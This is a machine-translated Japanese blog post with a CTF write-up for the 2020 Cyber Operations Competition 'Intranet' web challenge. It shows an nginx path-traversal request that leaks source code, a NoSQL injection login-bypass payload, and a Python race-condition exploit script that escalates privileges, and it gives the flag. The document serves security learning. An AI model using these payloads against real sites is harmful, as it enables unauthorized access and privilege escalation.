Arang.dev
検索
사이버작전 경연대회 2020🏁 CTF🌐 翻訳済み

2020 サイバー作戦競技大会 - Intranet Writeup

Nginx route 設定ミスとNoSQL Injection、Race Conditionを利用した権限昇格

#cyber-warfare#nosql-injection#race-condition#nginx

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

問 題

分 野

点 数

1.3 Intranet

web

?

露出した 敵国の 生化学 研究所 内部 サイトで、管理者 権限を 奪取して 内部 システムを 探索せよ。

http://3.35.40.133

解法手順

  1. nginx route 設定ミスを利用した server source code leak
  2. nosql injectionを利用した member権限取得
  3. 機能確認後 race conditionを利用して admin 権限取得
  4. 掲示板の member level=2 投稿の閲覧時にフラグ取得

正 解

flag{This_is_top_secret_dont_you_agree}

解 法 過 程

sign up / sign in ページがあり

会員登録後にログインし mypageに行ってみると permが Guestであることが確認できる。

この時 /api/static/{:userid} をリクエストしてくるが、これとサーバーが nginxであることから推測して、誤った route設定により file leakになり得るということを仮定してみることができる。

このように /api/static../User.js をリクエストすると nginxでの誤った route設定により staticディレクトリを抜け出し、本来アクセスできないファイルにアクセスできるようになり、サーバー側のコードを取得できる。

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

User

.findOne({

userid: req.body.userid,

password: req.body.password

})

.then(user => {

if (!user) {

res.status(406);

res.send();

} else {

res.status(200);

control

.sign({ id: user.userid })

.then(tok => {

res.send(JSON.stringify({

username: user.userid,

token: tok

}))}

);

}})

.catch(err => {

res.status(500);

res.send(JSON.stringify({ reason: { html: err } }));

});

};


----------------------------------------------------------------------------------------------

サーバー側コードのうちログイン部分のコードを見ると mongo db Modelの .findOne メソッドを利用して、ユーザーから渡された idと passwordを keyで検索していることが確認できる。

しかし findOne メソッドを利用している点 + サーバーの構成が app.use( bodyParser.urlencoded({ extended: true }) ); で構成されているため、ユーザーは Object オブジェクトを直接渡すことができる。 これにより nosql injectionが発生し

{"userid":"admin","password":{"$gt":""}} のようにリクエストすると adminのパスワードを知らなくてもログインが可能になる。

nosql injectionを通じて adminのトークンを突き止めたので local storageのトークン値を adminトークンに変えると、このように adminでログインされたことが確認できる。

しかしこの問題で本当のアドミンは level=2 以上にならなければならない。



現在接続しているアドミンは level=1(member)として board listで照会できる投稿は、自分のレベルより低いレベルの投稿のみ照会できる。 したがって問題の目的に従い、アドミンレベルを取得しなければならない。

この状況で auth 動作がやや奇妙になっているが、もし正しい division_numberを入力した場合、現在接続しているアカウントの levelが 0の場合、該当アカウントの levelを 1 上げる動作をする。

division_numberは知られていないが、これもまた同様に nosql injectionを通じてレベルを上げることができる。

また、該当コードが Division モデルで findOne 関数を利用して値を探し updateOneを利用して updateすることから推測して、素早く該当リクエストを二回送信すると race conditionが発生し levelが二回増加され得る可能性を確認した。


----------------------------------------------------------------------------------------------

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

'''

s = requests.session()

def raceCondition(args):

global pp,s

u = 'http://3.35.40.133/api/auth'

data = {"division_number":{"$gt":""}}

r = s.post(u, data=json.dumps(data), headers=pp.headers)

print('--------------')

print(r.content)

print('--------------')

for i in range(1,1000):

# signup

pp = parsePacket(packet.format(i))

pp.proxies="127.0.0.1:8888"

data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

if r.status_code==200:

# signin

u = "http://3.35.40.133/api/signin"

data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

r = s.post(u, data=json.dumps(data), headers=pp.headers)

if r.status_code==200:

rj = json.loads(r.content)

pp.headers['x-access-token'] = rj['token']

with ThreadPoolExecutor(3) as pool:

t=[1,2,3,4,5]

ret = [x for x in pool.map(raceCondition,t)]


----------------------------------------------------------------------------------------------

上記のような race conditionを発生させるエクスプロイトコードを通じて levelを 2回増加させることができる

実際に auth リクエストが 2回行われたことを確認し、そのアカウントでログインすると

adminに変わったことが確認できる。

フラグ取得

コメント

コメントを読み込み中...
2020 サイバー作戦競技大会 - Intranet Writeup | 사이버작전 경연대회 2020 | Arang